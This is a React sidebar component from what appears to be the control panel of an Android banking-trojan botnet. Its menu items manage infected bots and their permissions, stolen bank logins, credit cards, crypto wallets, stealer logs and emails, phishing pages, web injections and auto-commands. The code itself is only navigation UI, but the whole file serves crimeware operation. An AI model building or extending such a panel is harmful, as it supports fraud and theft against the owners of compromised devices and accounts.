import React, {useState} from "react";
import {Button, Divider, Layout, Modal, Space, Tooltip} from "antd";
import {NavLink, useLocation} from "react-router-dom";
import {hasAccess} from "../../Util/hasAccess";
import {AppState} from "../../Store/RootReducer";
import {useTranslation} from "react-i18next";
import {panelName} from "../../Util/config";
import {useAppSelector} from "../../Hook/useAppSelector";
import Mdicon from "../../Components/Misc/Mdicon";
import {LogoutOutlined} from "@ant-design/icons";
import {logout} from "../../Store/Auth/Actions";
import {useAppDispatch} from "../../Hook/useAppDispatch";

interface SidebarProps {
    collapsedState: boolean,
    collapseAction: () => void,
}

const Sidebar: React.FC<SidebarProps> = (props: SidebarProps) => {
    // const settingsReducer = useAppSelector((state: AppState) => state.settings);

    const authReducer = useAppSelector((state: AppState) => state.auth);
    const countsReducer = useAppSelector((state: AppState) => state.counts);

    const location = useLocation();
    const {t} = useTranslation();

    const [botsExpand, setBotsExpand] = useState(false);
    const dispatch = useAppDispatch();

    const logoutConfirm = () => {
        Modal.success({
            title: t("USER_LOGOUT_TITLE"),
            content: t("USER_LOGOUT_DESC"),
            icon: <LogoutOutlined/>,
            centered: true,
            closable: true,
            onOk: () => {
                dispatch(logout());
            },
            okText: t("USER_LOGOUT_CONFIRM"),
            cancelText: t("MODAL_BUTTON_CANCEL"),
            okButtonProps: {
                danger: true,
            },
        });
    };

    return (
        <>
            <Layout.Sider
                trigger={null}
                collapsible
                className={props.collapsedState ? "menu-sidebar show" : "menu-sidebar"}
                width={220}
            >
                <div className="sider-affix">
                    <div className="menu-logo">
                        <span>{panelName}<sup>v3.0</sup></span>
                    </div>

                    <div className="sider-group" style={{overflowY: "auto"}}>
                        <div className="panel-user">
                            <div className="panel-user-inner">
                                <div className="panel-user-image">
                                    <Mdicon name="person" />
                                </div>
                                <div className="panel-user-body">
                                    <div className="panel-user-name">{authReducer.user.name}</div>
                                    <div className="panel-user-login">{authReducer.user.role}</div>
                                </div>
                                <Tooltip title={t("LOGOUT")} placement="left">
                                    <Button
                                        type="link"
                                        icon={<Mdicon name="logout" />}
                                        className="panel-user-logout"
                                        onClick={logoutConfirm}
                                    />
                                </Tooltip>
                            </div>
                        </div>

                        <Space direction="vertical" size={0} style={{width: "100%"}} className="menu-nav">
                            {hasAccess(authReducer.user, "bots.list") && (
                                <>
                                    <div className="menu-link menu-link-bots" onClick={() => setBotsExpand(!botsExpand)}
                                        style={{cursor: "pointer"}}>
                                        <Space size={5}>
                                            <Mdicon name="android" color="#4e71ca" />

                                            <span>{t("SIDEBAR_NAV_BOTS")}</span>
                                        </Space>

                                        <div className="menu-link-group">
                                            {location.pathname !== "/bots" && countsReducer.isLoaded && countsReducer.bots > 0 && (
                                                <span className="menu-link-counter">+{countsReducer.bots}</span>
                                            )}
                                            <div className="menu-expand">
                                                <i className={`fa-solid fa-chevron-${botsExpand ? "up" : "down"}`}/>
                                            </div>
                                        </div>
                                    </div>

                                    <div className="menu-expand-list" style={{height: botsExpand ? 215 : 0}}>
                                        <NavLink to="/bots" className="menu-link">
                                            {t("ALL_BOTS")}
                                        </NavLink>
                                        <NavLink to="/favourites" className="menu-link">
                                            {t("FAVOURITE")}
                                        </NavLink>
                                        <NavLink to="/permissionless" className="menu-link">
                                            {t("PERMISSIONLESS")}
                                        </NavLink>
                                        <NavLink to="/online" className="menu-link">
                                            {t("ONLINE_BOTS")}
                                        </NavLink>
                                        <NavLink to="/offline" className="menu-link">
                                            {t("OFFLINE_BOTS")}
                                        </NavLink>
                                        <NavLink to="/uninstalled" className="menu-link">
                                            {t("UNINSTALLED_BOTS")}
                                        </NavLink>
                                    </div>
                                </>
                            )}

                            {hasAccess(authReducer.user, "banks.list") && (
                                <NavLink className="menu-link" to="/banks" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="account_balance" color="#8fc44f" />
                                        {t("SIDEBAR_NAV_BANKS")}
                                    </Space>

                                    {location.pathname !== "/banks" && countsReducer.isLoaded && countsReducer.banks > 0 && (
                                        <span className="menu-link-counter">+{countsReducer.banks}</span>
                                    )}
                                </NavLink>
                            )}

                            {hasAccess(authReducer.user, "credit_cards.list") && (
                                <NavLink className="menu-link" to="/cards" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="credit_card" color="#bc33b5" />
                                        {t("SIDEBAR_NAV_CARDS")}
                                    </Space>

                                    {location.pathname !== "/cards" && countsReducer.isLoaded && countsReducer.credit_cards > 0 && (
                                        <span className="menu-link-counter">+{countsReducer.credit_cards}</span>
                                    )}
                                </NavLink>
                            )}

                            {hasAccess(authReducer.user, "crypt.list") && (
                                <NavLink className="menu-link" to="/crypt" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="currency_bitcoin" color="#e04d4d" />

                                        {t("SIDEBAR_NAV_CRYPT")}
                                    </Space>

                                    {location.pathname !== "/crypt" && countsReducer.isLoaded && countsReducer.crypt > 0 && (
                                        <span className="menu-link-counter">+{countsReducer.crypt}</span>
                                    )}
                                </NavLink>
                            )}

                            {hasAccess(authReducer.user, "wallets.list") && (
                                <NavLink className="menu-link" to="/wallet" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="account_balance_wallet" color="#3ce86d" />
                                        {t("SIDEBAR_NAV_WALLET")}
                                    </Space>

                                    {location.pathname !== "/wallet" && countsReducer.isLoaded && countsReducer.wallets > 0 && (
                                        <span className="menu-link-counter">+{countsReducer.wallets}</span>
                                    )}
                                </NavLink>
                            )}

                            {hasAccess(authReducer.user, "stealers.list") && (
                                <NavLink className="menu-link" to="/stealer" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="data_table" color="#3ce86d" />
                                        {t("SIDEBAR_NAV_STEALER")}
                                    </Space>

                                    {location.pathname !== "/stealer" && countsReducer.isLoaded && countsReducer.stealers > 0 && (
                                        <span className="menu-link-counter">+{countsReducer.stealers}</span>
                                    )}
                                </NavLink>
                            )}

                            {hasAccess(authReducer.user, "emails.list") && (
                                <NavLink className="menu-link" to="/email" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="alternate_email" color="#8b52e0" />
                                        {t("SIDEBAR_NAV_EMAIL")}
                                    </Space>

                                    {location.pathname !== "/email" && countsReducer.isLoaded && countsReducer.emails > 0 && (
                                        <span className="menu-link-counter">+{countsReducer.emails}</span>
                                    )}
                                </NavLink>
                            )}

                            {hasAccess(authReducer.user, "shops.list") && (
                                <NavLink className="menu-link" to="/shops" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="shopping_bag" color="#d5d23e" />
                                        {t("SIDEBAR_NAV_SHOPS")}
                                    </Space>

                                    {location.pathname !== "/shops" && countsReducer.isLoaded && countsReducer.shops > 0 && (
                                        <span className="menu-link-counter">+{countsReducer.shops}</span>
                                    )}
                                </NavLink>
                            )}

                            <Divider style={{margin: "10px 0 20px"}}/>

                            {hasAccess(authReducer.user, "users.list") && (
                                <NavLink className="menu-link" to="/users" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="group" color="#34b9d1" />
                                        {t("SIDEBAR_NAV_USERS")}
                                    </Space>
                                </NavLink>
                            )}

                            <NavLink className="menu-link" to="/fishing" onClick={props.collapseAction}>
                                <Space size={5}>
                                    <Mdicon name="key" color="#40a2e8" />
                                    {t("FISHING")}
                                </Space>
                            </NavLink>

                            {hasAccess(authReducer.user, "injections.list") && (
                                <NavLink className="menu-link" to="/injections" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="syringe" color="#dd3ce8" />
                                        {t("SIDEBAR_NAV_INJECTIONS")}
                                    </Space>
                                </NavLink>
                            )}

                            <NavLink className="menu-link" to="/permissions" onClick={props.collapseAction}>
                                <Space size={5}>
                                    <Mdicon name="lock_open" color="#e8e040" />
                                    {t("BOT_PERMISSIONS")}
                                </Space>
                            </NavLink>

                            <NavLink className="menu-link" to="/filemanager" onClick={props.collapseAction}>
                                <Space size={5}>
                                    <Mdicon name="folder_open" color="#e87040" />
                                    {t("SIDEBAR_NAV_FILE")}
                                </Space>
                            </NavLink>

                            {hasAccess(authReducer.user, "stats.list") && (
                                <NavLink className="menu-link" to="/stats" onClick={props.collapseAction}>
                                    <Space size={5}>
                                        <Mdicon name="pie_chart" color="#e5dc13" />
                                        {t("SIDEBAR_NAV_STATS")}
                                    </Space>
                                </NavLink>
                            )}

                            <NavLink className="menu-link" to="/smartInjections" onClick={props.collapseAction}>
                                <Space size={5}>
                                    <Mdicon name="syringe" color="#40e883" />
                                    {t("SIDEBAR_NAV_SMART_INJECTIONS")}
                                </Space>

                                {location.pathname !== "/smartInjections" && countsReducer.isLoaded && countsReducer.smart_injects > 0 && (
                                    <span className="menu-link-counter">+{countsReducer.smart_injects}</span>
                                )}
                            </NavLink>

                            <NavLink className="menu-link" to="/autocommands" onClick={props.collapseAction}>
                                <Space size={5}>
                                    <Mdicon name="terminal" color="#e87040" />
                                    {t("AUTO_COMMANDS")}
                                </Space>
                            </NavLink>
                        </Space>
                    </div>
                </div>
            </Layout.Sider>
        </>
    );
};

export default Sidebar;
